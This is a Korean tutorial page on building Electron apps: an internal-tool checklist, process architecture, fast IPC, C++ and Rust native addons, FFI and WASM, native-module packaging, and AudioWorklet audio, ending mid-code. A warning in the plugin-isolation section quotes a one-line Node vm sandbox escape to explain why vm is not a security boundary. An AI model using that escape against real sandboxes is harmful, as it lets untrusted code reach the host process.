낙관적 UI 의 마지막 1% — 전송 실패한 항목을 조용히 사라지게 하지 마세요. “보낸 줄 알았는데 안 갔다”는 신뢰를 잃는 가장 빠른 방법입니다. 실패 항목은 남겨 두고 · 표시하고 · 다시 시도 버튼을 주세요.
ELECTRON 18

사내 도구 체크리스트

실제로 만들어 배포할 때 놓치기 쉬운 것들을 모았습니다.

설계 단계

  • ☐ 정말 데스크탑 앱이어야 하는가? 웹으로 되는 일이면 웹이 배포·유지보수가 훨씬 쉽습니다. 로컬 파일·프린터·시리얼 포트·오프라인이 필요할 때만 가치가 있습니다
  • ☐ DB 에 직접 붙지 않기 — 접속 정보가 앱에 들어가면 사용자 PC 에서 DB 전체가 열립니다. 반드시 서버 API 를 거치세요
  • ☐ 인증은 서버에서 — 앱 안의 검사는 우회됩니다
  • ☐ 지원할 OS·버전 범위 확정 (Windows 10 이상? 맥 인텔도?)
  • ☐ 코드 서명 인증서 확보 계획 (e09)

개발 단계

  • ☐ contextIsolation: true · nodeIntegration: false (e04)
  • ☐ IPC 채널마다 입력 검증
  • ☐ 설정·DB 는 userData 에 (설치 폴더 X)
  • ☐ 단일 인스턴스 잠금
  • ☐ 창 크기·위치 기억
  • ☐ 로그를 파일로 — 사용자 PC 에서 무슨 일이 났는지 알 유일한 방법

배포 · 운영

// 로그 파일 — 사내 도구에서 가장 중요한 기능입니다
import log from "electron-log/main";

log.initialize();
log.transports.file.level = "info";
log.transports.file.maxSize = 10 * 1024 * 1024;   // 10MB 로테이션
log.errorHandler.startCatching();                  // 크래시 자동 기록

// 사용자에게 로그 위치 알려 주기 (문의 대응이 10배 쉬워집니다)
ipcMain.handle("log:open", () =>
  shell.showItemInFolder(log.transports.file.getFile().path));
// 크래시 리포팅
import * as Sentry from "@sentry/electron/main";
Sentry.init({ dsn: process.env.SENTRY_DSN, release: app.getVersion() });
  • ☐ 자동 업데이트 동작 확인 (구버전 → 신버전 실제 테스트)
  • ☐ 백신 오탐 확인 — 서명 없는 exe 는 자주 차단됩니다
  • ☐ 사내 프록시·인증서 환경에서 API 호출이 되는지
  • ☐ 오프라인·네트워크 끊김 상황 처리
  • ☐ 사용자 매뉴얼 + 로그 보내는 법 안내
같은 도구를 다른 방식으로 만든다면 — 🐍 파이썬 가이드의 PySide6, ☕ 자바 가이드의 JavaFX 가 같은 자리를 차지합니다. 웹 개발자가 팀에 많다면 Electron 이 가장 빠르고, 배포 용량이 중요하면 다른 선택지를 검토하세요.
NATIVE · C++ · RUST · WEBRTC · OSR · GPU · 전문가

Discord · VS Code
수준으로
끌어올리기

앞 탭이 사내 도구를 만드는 법이었다면, 여기는 수천만 명이 쓰는 앱의 기술입니다. JS 로 안 되는 성능은 C++·Rust 애드온으로 내려가고, 음성 채팅·화면 공유·오버레이는 WebRTC·OSR·GPU 영역입니다. 여기까지 마치면 네이티브 모듈을 직접 붙이고, 음성·화면 파이프라인을 설계하며, 시작 시간과 크래시를 수치로 관리할 수 있습니다.

16SECTIONS
C++·Rust네이티브 확장
OSRGPU 텍스처 공유
WebRTC보이스 · 화면
NATIVE 01

대규모 앱 아키텍처

VS Code 와 Discord 는 어떻게 무거워지지 않았는가. 구조가 답입니다.

VS Code 식 — 프로세스로 격리

┌─────────────────────────────────────────┐
│ Main (Node)                             │  창·메뉴·업데이트만
│  가볍게 유지 — 여기가 막히면 전부 멈춤    │
└──┬───────────┬──────────────┬───────────┘
   │ IPC       │ MessagePort  │ fork
   ▼           ▼              ▼
┌────────┐ ┌──────────────┐ ┌────────────┐
│Renderer│ │ Extension    │ │ 파일검색·  │
│  UI만  │ │ Host         │ │ Git·LSP    │
│        │ │ (확장 격리)   │ │ (유틸리티) │
└────────┘ └──────────────┘ └────────────┘

핵심 원칙
 ① UI 스레드에서 무거운 일을 절대 하지 않는다
 ② 남의 코드(확장·플러그인)는 별도 프로세스에 가둔다
 ③ 하나가 죽어도 앱 전체가 죽지 않는다
VS Code 가 "확장이 느려도 에디터는 안 멈추는" 이유 — 확장 코드는 Extension Host 라는 별도 Node 프로세스에서 돕니다. 확장이 무한 루프를 돌아도 UI 렌더러는 멀쩡합니다. 플러그인 시스템을 만든다면 같은 프로세스에서 실행하지 마세요.

Discord 식 — 미디어를 네이티브로

┌──────────────┐
│  Renderer    │  React UI · 오디오 제어
└───┬──────────┘
    │ MessagePort (고빈도·저지연 · v03)
    ▼
┌──────────────────────────────┐
│  Native Voice Engine (C++)   │  ★ JS 밖에서 도는 부분
│   Opus 인코딩 · 지터버퍼      │
│   에코 제거(AEC) · 노이즈 억제 │
│   디바이스 I/O (WASAPI 등)    │
└──────────────────────────────┘

왜 네이티브인가
 · 오디오는 10ms 단위 실시간 — GC 멈춤을 못 견딤
 · OS 오디오 API 는 JS 에서 못 건드림
 · 인코딩·DSP 는 SIMD 로 몇 배 차이
처음부터 이 구조로 만들지 마세요. 먼저 웹 표준(WebRTC·WebAudio)으로 구현하고(v09), 지연·품질을 실측한 뒤 병목이 확인된 부분만 네이티브로 내리는 것이 순서입니다. 네이티브 모듈은 OS×아키텍처마다 빌드·배포 비용이 붙습니다(v07).

무엇을 어디에 둘 것인가

일어디서이유
화면 그리기·상태Renderer그 외의 것을 여기 두면 UI 가 끊깁니다
창·메뉴·트레이·업데이트MainOS 와 대화하는 유일한 곳
파일 파싱·인덱싱·압축utilityProcess크래시가 나도 앱은 살아남습니다 (v02)
플러그인·사용자 스크립트별도 프로세스남의 코드는 반드시 격리
오디오 DSP·코덱네이티브 애드온실시간성 · GC 회피 (v04·v09)
암호화·해싱 대량 연산네이티브 또는 워커CPU 바운드는 이벤트 루프를 막습니다
NATIVE 02

프로세스 모델 심화

Electron 에는 무거운 일을 내보낼 곳이 네 군데 있습니다. 고르는 기준이 있습니다.

방식실체쓸 때주의
worker_threads같은 프로세스의 스레드 CPU 연산 (파싱·이미지 변환)크래시 시 프로세스 전체 사망
utilityProcessElectron 관리 자식 프로세스 ★ 대부분의 백그라운드 작업Electron 22+ · Node API 전부 사용 가능
child_process임의의 외부 실행 파일 ffmpeg · 파이썬 스크립트 호출경로·인자 이스케이프 주입 위험
hidden BrowserWindow보이지 않는 렌더러 Canvas·WebGL 이 필요한 처리메모리가 큽니다 — 남용 금지

utilityProcess — 기본으로 쓸 것

import { utilityProcess, MessageChannelMain } from "electron";

const { port1, port2 } = new MessageChannelMain();

const child = utilityProcess.fork(
  path.join(__dirname, "workers/indexer.js"),
  [],                                  // argv
  {
    serviceName: "indexer",            // ★ 작업 관리자에 이 이름으로 보입니다
    stdio: "pipe",
    execArgv: ["--max-old-space-size=512"],   // 워커만 메모리 제한
  }
);

// 포트를 넘겨 주면 이후 통신은 메인을 거치지 않습니다
child.postMessage({ type: "init" }, [port1]);

child.on("exit", (code) => {
  log.warn("indexer 종료", code);
  if (code !== 0) respawn();           // ★ 죽으면 되살리기
});

child.stdout?.on("data", (d) => log.info("[indexer]", d.toString()));
serviceName 을 꼭 지정하세요. 지정하지 않으면 작업 관리자에 Electron Helper 로만 보여 사용자도 개발자도 어느 프로세스가 CPU 를 먹는지 알 수 없습니다. Chrome 의 작업 관리자(Shift+Esc 개념)처럼 앱 안에 app.getAppMetrics() 기반 진단 화면을 두면 지원 문의가 크게 줄어듭니다.

플러그인 격리 패턴

// 남의 코드를 돌린다면 — 프로세스 격리 + 권한 제한 + 감시
const host = utilityProcess.fork(pluginHostPath, [pluginId], {
  serviceName: `plugin:${pluginId}`,
  execArgv: ["--max-old-space-size=256"],
});

// ① 응답 없음 감시 (하트비트)
let alive = true;
const hb = setInterval(() => {
  if (!alive) { host.kill(); onPluginHang(pluginId); return; }
  alive = false;
  host.postMessage({ type: "ping" });
}, 5000);
host.on("message", (m) => { if (m.type === "pong") alive = true; });

// ② 종료 시 정리
host.on("exit", () => clearInterval(hb));

// ③ 플러그인이 할 수 있는 일은 "메인이 제공하는 RPC" 로만 제한
//    fs 를 직접 주지 말고, 허용된 디렉터리만 다루는 함수를 제공합니다
vm 모듈은 샌드박스가 아닙니다. Node 공식 문서도 보안 경계로 쓰지 말라고 명시합니다 — this.constructor.constructor("return process")() 같은 방법으로 탈출할 수 있습니다. 신뢰할 수 없는 코드는 반드시 별도 프로세스(가능하면 OS 샌드박스까지)에 두세요.
프로세스를 나누는 기준 — 죽어도 되는 일은 밖으로 메인 프로세스 — 하나뿐이고 대체 불가 창 · 메뉴 · 트레이 · 권한 · 업데이트. 여기가 0.5초 멈추면 앱 전체가 0.5초 멈춥니다 렌더러 — 창마다 하나 화면만 그립니다 · Node 권한 없음 하나가 죽어도 다른 창은 살아 있습니다 유틸리티 프로세스 색인 · 압축 · 파싱 죽으면 다시 띄우면 됩니다 GPU 프로세스 합성 · 가속 일렉트론이 관리 무거운 일을 메인에 두면 메뉴와 창 이동까지 함께 굳습니다 프로세스마다 기본 메모리가 붙습니다 — 무한정 나누지 말고 "죽어도 되는 단위" 로 자르세요
대규모 앱의 안정성은 기능이 아니라 무엇이 죽어도 되는지 정해 둔 구조에서 나옵니다.
NATIVE 03

고성능 IPC

ipcRenderer.invoke 로는 감당이 안 되는 고빈도·대용량 구간을 다룹니다.

기본 IPC 의 비용

ipcRenderer.invoke 의 실제 경로

렌더러 → [구조화 복제 직렬화] → 메인 IPC 큐
       → 메인 스레드에서 처리 → [다시 직렬화] → 렌더러

비용이 커지는 지점
 ① 구조화 복제 — 객체가 크고 깊을수록 급증
 ② 메인 스레드 경유 — 메인이 바쁘면 전부 대기
 ③ 초당 수백 회 호출 시 큐가 밀림

체감 기준 (대략)
 · 작은 객체 · 초당 수십 회      → 그냥 invoke 로 충분
 · 수 MB 데이터 · 초당 수백 회   → MessagePort 로
 · 오디오·비디오 프레임 (연속)   → 공유 메모리 · 네이티브로
가장 흔한 실수 — 렌더러가 1초에 60번 invoke("state:get") 을 호출하는 폴링 구조입니다. 메인이 밀어 주는(push) 구조로 바꾸고, 변경이 잦으면 합치기(coalescing) 를 적용하세요 — 16ms 안에 들어온 갱신은 한 번만 보냅니다.

MessagePort — 메인을 건너뛰기

// 메인 — 워커와 렌더러를 직접 연결해 줍니다
import { MessageChannelMain } from "electron";

const { port1, port2 } = new MessageChannelMain();

worker.postMessage({ type: "port" }, [port1]);          // 워커에 한쪽
mainWindow.webContents.postMessage("port:worker", null, [port2]);  // 렌더러에 반대쪽

// ★ 이후 워커 ↔ 렌더러 통신은 메인 스레드를 전혀 거치지 않습니다
// 프리로드 — 포트를 받아 렌더러에 전달
ipcRenderer.on("port:worker", (e) => {
  const port = e.ports[0];
  port.start();
  contextBridge.exposeInMainWorld("workerPort", {
    send: (msg: unknown) => port.postMessage(msg),
    onMessage: (cb: (m: unknown) => void) => {
      port.onmessage = (ev) => cb(ev.data);
    },
  });
});

대용량 — 복사 없이 넘기기

// ① Transferable — 소유권 이전 (복사 0)
const buf = new ArrayBuffer(16 * 1024 * 1024);
port.postMessage({ type: "frame", buf }, [buf]);
// ★ 넘긴 쪽에서는 buf 가 즉시 사용 불가(detached)가 됩니다

// ② SharedArrayBuffer — 양쪽이 동시에 접근 (링 버퍼에 적합)
//    렌더러에서 쓰려면 교차 출처 격리 헤더가 필요합니다
session.defaultSession.webRequest.onHeadersReceived((d, cb) => {
  cb({ responseHeaders: {
    ...d.responseHeaders,
    "Cross-Origin-Opener-Policy": ["same-origin"],
    "Cross-Origin-Embedder-Policy": ["require-corp"],
  }});
});
오디오 같은 연속 스트림에는 SharedArrayBuffer + Atomics 링 버퍼가 정석입니다. 메시지를 주고받는 것이 아니라 정해진 메모리를 서로 읽고 쓰기만 하므로 할당도 직렬화도 없습니다. AudioWorklet 과의 연결에 그대로 씁니다(v08).
프로세스 사이로 데이터를 옮기는 세 가지 비용 기본 IPC — 구조화 복제 보낼 때 직렬화 · 받을 때 역직렬화. 작은 메시지에는 충분하고 가장 쉽습니다 오디오 프레임 · 픽셀 배열처럼 큰 데이터를 초당 수십 번 보내면 이 변환이 병목입니다 전송 가능한 버퍼 (transferable) 복사하지 않고 소유권만 넘깁니다 — 보낸 쪽에서는 그 버퍼를 더 못 씁니다 MessageChannel 로 통로를 따로 열면 메인을 거치지 않고 렌더러끼리 직접 주고받습니다 공유 메모리 (SharedArrayBuffer) 아예 옮기지 않습니다 — 양쪽이 같은 메모리를 봅니다. 링 버퍼로 오디오를 흘릴 때 씁니다 대신 누가 언제 쓰는지 규칙을 직접 정해야 합니다 (Atomics · 인덱스 두 개) 순서대로 시도하세요 — 기본 IPC 로 시작해서 측정한 뒤, 정말 병목일 때만 아래로 내려갑니다
빠른 IPC 의 비결은 기술이 아니라 애초에 큰 데이터를 안 옮기는 설계입니다.
NATIVE 04

C++ 애드온 — N-API

JS 로 안 되는 성능·OS 기능은 여기서 해결합니다. 처음부터 끝까지 만들어 봅니다.

왜 N-API(Node-API) 인가 — 예전 방식(NAN·V8 직접 호출)은 Node·V8 버전이 바뀔 때마다 재컴파일이 필요했습니다. N-API 는 ABI 안정성을 보장해 한 번 빌드한 .node 가 여러 버전에서 동작합니다. Electron 도 N-API 를 지원하므로 새 Electron 으로 올려도 다시 빌드할 필요가 없습니다 — 이것이 better-sqlite3 재빌드 고생과 갈리는 지점입니다(v07).

① 프로젝트 구성

npm i -D node-addon-api node-gyp
// binding.gyp — 빌드 설정
{
  "targets": [{
    "target_name": "fastcalc",
    "sources": [ "src/fastcalc.cc" ],
    "include_dirs": [
      "<!@(node -p \"require('node-addon-api').include\")"
    ],
    "defines": [ "NAPI_DISABLE_CPP_EXCEPTIONS" ],
    "cflags_cc": [ "-O3", "-std=c++17" ],
    "msvs_settings": {
      "VCCLCompilerTool": { "ExceptionHandling": 1, "Optimization": 2 }
    },
    "xcode_settings": {
      "CLANG_CXX_LANGUAGE_STANDARD": "c++17",
      "MACOSX_DEPLOYMENT_TARGET": "11.0"
    }
  }]
}
// package.json
{
  "gypfile": true,
  "scripts": {
    "build:native": "node-gyp rebuild",
    "rebuild:electron": "electron-rebuild -f -w fastcalc"
  }
}

② C++ 코드 — 동기 함수

#include <napi.h>
#include <vector>
#include <cstdint>

// TypedArray 를 복사 없이 그대로 받습니다
Napi::Value SumSquares(const Napi::CallbackInfo& info) {
  Napi::Env env = info.Env();

  if (info.Length() < 1 || !info[0].IsTypedArray()) {
    Napi::TypeError::New(env, "Float32Array 가 필요합니다")
        .ThrowAsJavaScriptException();
    return env.Null();
  }

  Napi::Float32Array arr = info[0].As<Napi::Float32Array>();
  const float* data = arr.Data();      // ★ JS 힙을 직접 참조 (복사 0)
  size_t len = arr.ElementLength();

  double sum = 0.0;
  for (size_t i = 0; i < len; ++i) sum += static_cast<double>(data[i]) * data[i];

  return Napi::Number::New(env, sum);
}

Napi::Object Init(Napi::Env env, Napi::Object exports) {
  exports.Set("sumSquares", Napi::Function::New(env, SumSquares));
  return exports;
}

NODE_API_MODULE(fastcalc, Init)
동기 함수는 이벤트 루프를 막습니다. 1ms 이상 걸리는 일은 반드시 AsyncWorker(오른쪽)로 빼세요. 메인 프로세스에서 막히면 모든 창의 IPC 가 함께 멈춥니다.

③ 비동기 — AsyncWorker

class HashWorker : public Napi::AsyncWorker {
 public:
  HashWorker(Napi::Env env, std::vector<uint8_t> data)
      : Napi::AsyncWorker(env),
        deferred_(Napi::Promise::Deferred::New(env)),
        data_(std::move(data)) {}

  Napi::Promise GetPromise() { return deferred_.Promise(); }

  // ★ 워커 스레드에서 실행 — 여기서 JS 객체를 만지면 안 됩니다
  void Execute() override {
    result_ = heavy_hash(data_.data(), data_.size());
  }

  // ★ 다시 JS 스레드 — 여기서만 JS 값을 다룹니다
  void OnOK() override {
    Napi::HandleScope scope(Env());
    deferred_.Resolve(Napi::String::New(Env(), result_));
  }
  void OnError(const Napi::Error& e) override {
    deferred_.Reject(e.Value());
  }

 private:
  Napi::Promise::Deferred deferred_;
  std::vector<uint8_t> data_;
  std::string result_;
};

Napi::Value HashAsync(const Napi::CallbackInfo& info) {
  auto buf = info[0].As<Napi::Buffer<uint8_t>>();
  // ★ 워커 스레드에서 쓸 데이터는 반드시 복사해 둡니다
  std::vector<uint8_t> copy(buf.Data(), buf.Data() + buf.Length());

  auto* w = new HashWorker(info.Env(), std::move(copy));
  w->Queue();
  return w->GetPromise();
}

④ C++ → JS 콜백 (ThreadSafeFunction)

// 오디오 콜백처럼 "네이티브 스레드가 JS 를 부르는" 경우
Napi::ThreadSafeFunction tsfn;

Napi::Value Start(const Napi::CallbackInfo& info) {
  tsfn = Napi::ThreadSafeFunction::New(
      info.Env(),
      info[0].As<Napi::Function>(),   // JS 콜백
      "AudioCallback",
      0,      // 큐 무제한
      1);     // 스레드 1개가 사용

  std::thread([] {
    while (running) {
      float level = capture_level();
      // ★ 다른 스레드에서 안전하게 JS 호출
      tsfn.BlockingCall([level](Napi::Env env, Napi::Function cb) {
        cb.Call({ Napi::Number::New(env, level) });
      });
    }
    tsfn.Release();                   // ★ 반드시 해제
  }).detach();

  return info.Env().Undefined();
}
// JS 쪽 사용
const native = require("./build/Release/fastcalc.node");

const buf = new Float32Array(1_000_000);
console.log(native.sumSquares(buf));        // 동기
await native.hashAsync(Buffer.from(data));  // 비동기

native.start((level: number) => updateMeter(level));   // 콜백
ThreadSafeFunction 을 Release() 하지 않으면 앱이 종료되지 않습니다. 참조가 남아 이벤트 루프가 계속 살아 있기 때문입니다 — "종료를 눌러도 프로세스가 안 죽는" 버그의 대표적 원인입니다. BlockingCall 은 큐가 가득 차면 네이티브 스레드를 멈춥니다 — 오디오 스레드에서는 NonBlockingCall 을 쓰고 드롭을 감수하는 편이 안전합니다.
NATIVE 05

Rust 애드온 — napi-rs

C++ 보다 안전하고 빌드가 쉽습니다. 새로 시작한다면 이쪽을 권합니다.

시작하기

npm create napi@latest my-native — 프로젝트·CI·크로스빌드 설정이 한 번에 생성됩니다
# Cargo.toml
[package]
name = "my_native"
version = "0.1.0"
edition = "2021"

[lib]
crate-type = ["cdylib"]

[dependencies]
napi = { version = "2", features = ["napi8", "async", "tokio_rt"] }
napi-derive = "2"
tokio = { version = "1", features = ["fs"] }   # 아래 hash_file 의 tokio::fs
blake3 = "1"                                   # 아래 hash_file 의 해시

[build-dependencies]
napi-build = "2"

[profile.release]
lto = true
codegen-units = 1
opt-level = 3
// src/lib.rs
#![deny(clippy::all)]
use napi_derive::napi;

#[napi]
pub fn sum_squares(data: &[f32]) -> f64 {
  data.iter().map(|&x| (x as f64) * (x as f64)).sum()
}

// ★ 자동으로 Promise 가 됩니다 — 스레드 풀에서 실행
#[napi]
pub async fn hash_file(path: String) -> napi::Result<String> {
  let bytes = tokio::fs::read(&path).await
      .map_err(|e| napi::Error::from_reason(e.to_string()))?;
  Ok(blake3::hash(&bytes).to_hex().to_string())
}

// 구조체도 그대로 오갑니다
#[napi(object)]
pub struct Stats { pub count: u32, pub mean: f64 }

#[napi]
pub fn analyze(data: Vec<f64>) -> Stats {
  let n = data.len() as u32;
  let mean = data.iter().sum::<f64>() / n as f64;
  Stats { count: n, mean }
}

콜백 · 타입 · 배포

use napi::threadsafe_function::{
  ThreadsafeFunction, ThreadsafeFunctionCallMode, ErrorStrategy,
};

#[napi]
pub fn watch_level(
  callback: ThreadsafeFunction<f64, ErrorStrategy::Fatal>,
) -> napi::Result<()> {
  std::thread::spawn(move || {
    loop {
      let level = capture_level();
      // ★ C++ 의 ThreadSafeFunction 과 같은 역할인데 훨씬 짧습니다
      callback.call(level, ThreadsafeFunctionCallMode::NonBlocking);
      std::thread::sleep(std::time::Duration::from_millis(16));
    }
  });
  Ok(())
}
// ★ index.d.ts 가 자동 생성됩니다 — 타입을 직접 쓸 필요가 없습니다
export function sumSquares(data: Float32Array): number
export function hashFile(path: string): Promise<string>
export function analyze(data: Array<number>): Stats
export interface Stats { count: number; mean: number }
# CI — OS·아키텍처별 바이너리를 미리 만들어 배포합니다
strategy:
  matrix:
    settings:
      - host: windows-latest
        target: x86_64-pc-windows-msvc
      - host: macos-latest
        target: aarch64-apple-darwin
      - host: macos-latest
        target: x86_64-apple-darwin
      - host: ubuntu-latest
        target: x86_64-unknown-linux-gnu
# → my-native-win32-x64-msvc 같은 패키지로 나뉘어 게시되고,
#   설치 시 해당 플랫폼 것만 내려받습니다 (optionalDependencies)
napi-rs 의 결정적 장점 — 타입 정의 자동 생성, Result 가 JS 예외로 자동 변환, 메모리 안전성(세그폴트로 앱이 죽는 사고가 구조적으로 줄어듭니다), 그리고 크로스 컴파일 체계가 처음부터 갖춰져 있다는 점입니다.

C++ 과 Rust, 무엇을 고를까

기준C++ (node-addon-api)Rust (napi-rs)
기존 C/C++ 라이브러리 연동압도적으로 유리 (헤더만 포함)bindgen 등 한 겹이 더 필요
메모리 안전전적으로 개발자 책임컴파일러가 강제
빌드 체계node-gyp · 환경 의존적cargo · 재현성 높음
타입 정의손으로 작성자동 생성
OS API 직접 호출가장 직접적windows·core-foundation 크레이트로 가능
팀 학습 비용익숙한 사람이 많음소유권·수명 개념 학습 필요
현실적인 기준 — 기존 C++ SDK(오디오 엔진·하드웨어 드라이버·코덱)를 감싸는 일이면 C++, 새로 로직을 작성하는 것이면 Rust 가 유지보수 비용이 훨씬 낮습니다. 한 프로젝트에 둘을 섞어 쓰는 것도 문제없습니다 — 결과물은 똑같은 .node 파일입니다.
NATIVE 06

FFI · WASM — 컴파일 없이

애드온을 만들지 않고도 네이티브 코드를 부르는 두 가지 길입니다.

FFI — DLL·dylib 를 직접 호출

npm i koffi — ffi-napi 는 사실상 유지보수가 멈춰 koffi 가 현재 표준입니다
import koffi from "koffi";

// Windows API 를 직접 부르는 예 — 애드온 빌드가 전혀 필요 없습니다
const user32 = koffi.load("user32.dll");

const MessageBoxW = user32.func(
  "int __stdcall MessageBoxW(void* hwnd, str16 text, str16 caption, uint type)"
);
MessageBoxW(null, "안녕하세요", "알림", 0);

// 구조체도 다룰 수 있습니다
const POINT = koffi.struct("POINT", { x: "long", y: "long" });
const GetCursorPos = user32.func("bool __stdcall GetCursorPos(_Out_ POINT* p)");

const pt = {};
GetCursorPos(pt);
console.log(pt.x, pt.y);
FFI 의 대가 — 호출당 오버헤드가 애드온보다 큽니다(초당 수만 회 호출에는 부적합). 시그니처를 한 글자라도 틀리면 즉시 크래시하고, 타입 안전성도 없습니다. 가끔 호출하는 OS API 에는 훌륭하지만, 오디오 콜백 같은 실시간 경로에는 쓰지 마세요.

WASM — 이식성이 필요할 때

// C/C++/Rust 를 WASM 으로 컴파일해 렌더러에서 직접 실행
const wasm = await WebAssembly.instantiateStreaming(
  fetch("codec.wasm"),
  { env: { memory: new WebAssembly.Memory({ initial: 256 }) } }
);

// SIMD·스레드까지 쓰면 네이티브의 상당 부분을 따라잡습니다
// (스레드는 SharedArrayBuffer → 교차 출처 격리 헤더 필요 · v03)
const { encode } = wasm.instance.exports;
네이티브 애드온WASM
속도최고대략 네이티브의 절반~80%
OS API 접근가능불가 (샌드박스)
배포OS×아키텍처별 바이너리파일 하나로 전부
렌더러에서 실행불가 (메인·워커만)가능
크래시 영향프로세스 사망예외로 처리됨
고르는 순서 — ① OS 기능·하드웨어가 필요하면 애드온(v04·v05) · ② 순수 계산이고 배포를 단순하게 하고 싶으면 WASM · ③ 기존 DLL 을 몇 번 부르는 정도면 FFI. 이미지 처리·압축·암호 연산은 WASM 으로도 충분한 경우가 많습니다.
세 갈래 — 빌드 부담과 능력의 맞바꿈입니다 N-API 애드온 가장 빠릅니다 — 직접 호출 스레드 · 시스템 API 자유롭게 플랫폼×아키텍처마다 빌드 prebuild 로 배포해야 사용자가 편합니다 FFI 빌드 없이 .dll · .so 호출 이미 있는 라이브러리를 쓸 때 호출마다 변환 비용이 붙습니다 타입을 잘못 적으면 그냥 죽습니다 WASM 파일 하나가 어디서나 동작 빌드·배포가 가장 단순합니다 파일·소켓에 직접 닿지 못함 순수 계산에 적합합니다 고르는 순서 순수 계산이면 WASM → 기존 라이브러리면 FFI 성능이 정말 중요하거나 시스템 자원이 필요하면 애드온 공통 함정 — 경계 비용 어느 방식이든 경계를 자주 넘으면 그 자체가 병목입니다 원소마다 부르지 말고 배열째 한 번에 넘기세요
"네이티브가 빠르다"보다 "몇 번 넘나드느냐"가 결과를 좌우합니다.
NATIVE 07

네이티브 모듈 운영

"내 PC 에선 되는데 사용자 PC 에선 안 되는" 문제의 거의 전부가 여기 있습니다.

ABI — 재빌드가 필요한 이유

같은 .node 파일이 아무 데서나 돌지 않는 이유

  ① Node 용으로 빌드한 것 ≠ Electron 용
     → Electron 은 자체 V8·헤더를 씁니다
  ② 아키텍처가 다르면 불가 (x64 / arm64)
  ③ OS 가 다르면 불가 (win / mac / linux)
  ④ NAN·V8 직접 사용 모듈은 버전마다 다시 빌드

  → N-API 모듈은 ①④ 가 사라집니다 (ABI 안정)
    그래도 ②③ 은 남으므로 플랫폼별 바이너리는 필요합니다
# Electron 용으로 다시 빌드
npx electron-rebuild
npx electron-rebuild -f -w better-sqlite3     # 특정 모듈만

# 직접 지정할 때
npm rebuild --runtime=electron --target=42.0.0 \
            --dist-url=https://electronjs.org/headers

# 확인 — 어떤 런타임용으로 빌드됐는지
node -p "process.versions.modules"        # Node 의 ABI 버전
ELECTRON_RUN_AS_NODE=1 npx electron -p "process.versions.modules"  # Electron 의 ABI 버전
#   ↑ 이 환경 변수 없이 -p 를 주면 Node 처럼 동작하지 않고 앱 창이 뜹니다
가장 확실한 해법은 "재빌드가 필요 없게 만드는 것"입니다. ① N-API 모듈만 고르기 · ② prebuild 를 제공하는 패키지 쓰기 · ③ 내장 기능으로 대체하기(예: better-sqlite3 → node:sqlite) · ④ 직접 만든다면 napi-rs 로 플랫폼별 사전 빌드를 게시(v05).

패키징에서 빠뜨리는 것들

# electron-builder.yml
asar: true
asarUnpack:
  - "**/*.node"                 # ★ 네이티브 바이너리는 asar 밖에 있어야 로드됩니다
  - "**/node_modules/sharp/**"

# 아키텍처별로 따로 빌드 — universal 로 묶을 수도 있습니다
mac:
  target:
    - target: dmg
      arch: [x64, arm64]        # 또는 universal
// asar 안팎 경로 차이를 흡수하는 관용구
const nativePath = app.isPackaged
  ? path.join(process.resourcesPath, "app.asar.unpacked",
              "node_modules", "my-native", "index.node")
  : path.join(__dirname, "../node_modules/my-native/index.node");

// 로드 실패를 조용히 넘기지 말 것 — 원인을 사용자에게 알립니다
let native: NativeApi | null = null;
try {
  native = require(nativePath);
} catch (e) {
  log.error("네이티브 모듈 로드 실패", e);
  dialog.showErrorBox(
    "구성 요소를 불러오지 못했습니다",
    "재설치해도 계속되면 로그를 보내 주세요.\n" + String(e)
  );
}
런타임 의존성도 함께 배포해야 합니다. Windows 애드온은 Visual C++ 재배포 패키지(MSVC 런타임)가 필요할 수 있고, Linux 는 glibc 버전이 낮은 배포판에서 로드가 실패합니다. 정적 링크하거나(/MT), 가장 낮은 지원 배포판에서 빌드하는 것이 정석입니다. macOS 는 MACOSX_DEPLOYMENT_TARGET 을 낮게 잡아야 구형 OS 에서 실행됩니다.
NATIVE 08

오디오 파이프라인

음성 기능의 토대입니다. 실시간 오디오는 일반 JS 와 규칙이 다릅니다.

실시간 오디오의 제1 원칙 — 오디오 스레드에서는 절대 멈추면 안 됩니다. 48kHz 스테레오에서 128 프레임 블록은 약 2.7ms 안에 처리를 끝내야 합니다. 이 안에서 메모리 할당·파일 I/O·console.log·락 대기를 하면 그대로 뚝뚝 끊기는 소리(글리치)가 됩니다. 그래서 버퍼는 미리 할당하고, 통신은 락 없는 링 버퍼로 합니다.

AudioWorklet — 오디오 전용 스레드

// ❌ ScriptProcessorNode 는 폐기됐습니다 (메인 스레드에서 돌아 끊깁니다)
// ✅ AudioWorklet — 별도 오디오 스레드에서 실행

// processor.js — 오디오 스레드에서 도는 코드
class LevelProcessor extends AudioWorkletProcessor {
  constructor() {
    super();
    // ★ 생성자에서 미리 할당 — process() 안에서는 할당 금지
    this._sum = 0; this._count = 0;
  }

  process(inputs, outputs) {
    const input = inputs[0][0];        // 첫 입력의 첫 채널
    if (!input) return true;

    let peak = 0;
    for (let i = 0; i < input.length; i++) {
      const a = Math.abs(input[i]);
      if (a > peak) peak = a;
      outputs[0][0][i] = input[i];     // 그대로 통과
    }

    // ★ 매 블록마다 postMessage 하지 말 것 — 초당 375회가 됩니다
    if (++this._count % 16 === 0) this.port.postMessage(peak);

    return true;                       // false 를 반환하면 노드가 정리됩니다
  }
}
registerProcessor("level", LevelProcessor);
// 메인 스레드(렌더러)에서 연결
const ctx = new AudioContext({
  sampleRate: 48000,
  latencyHint: "interactive",          // ★ 통화용 — 지연 최소
});
await ctx.audioWorklet.addModule("processor.js");

const src = ctx.createMediaStreamSource(micStream);
const level = new AudioWorkletNode(ctx, "level");
level.port.onmessage = (e) => setMeter(e.data);

src.connect(level).connect(ctx.destination);

디바이스 관리 — 실제로 까다로운 부분

// 목록 — label 을 보려면 먼저 권한을 받아야 합니다
const stream = await navigator.mediaDevices.getUserMedia({ audio: true });
const devices = await navigator.mediaDevices.enumerateDevices();
const mics = devices.filter(d => d.kind === "audioinput");
const speakers = devices.filter(d => d.kind === "audiooutput");

// ★ 장치 교체(헤드셋 연결·해제)는 반드시 처리해야 합니다
navigator.mediaDevices.addEventListener("devicechange", async () => {
  const list = await navigator.mediaDevices.enumerateDevices();
  // 쓰던 장치가 사라졌으면 기본 장치로 되돌립니다
  if (!list.some(d => d.deviceId === currentMicId)) {
    await switchMic("default");
    notify("마이크가 분리되어 기본 장치로 전환했습니다");
  }
});

// 특정 장치 지정 — exact 를 쓰면 없을 때 실패합니다(폴백 필요)
const s = await navigator.mediaDevices.getUserMedia({
  audio: {
    deviceId: { exact: micId },
    echoCancellation: true,            // AEC
    noiseSuppression: true,            // 노이즈 억제
    autoGainControl: true,             // 자동 게인
    channelCount: 1,
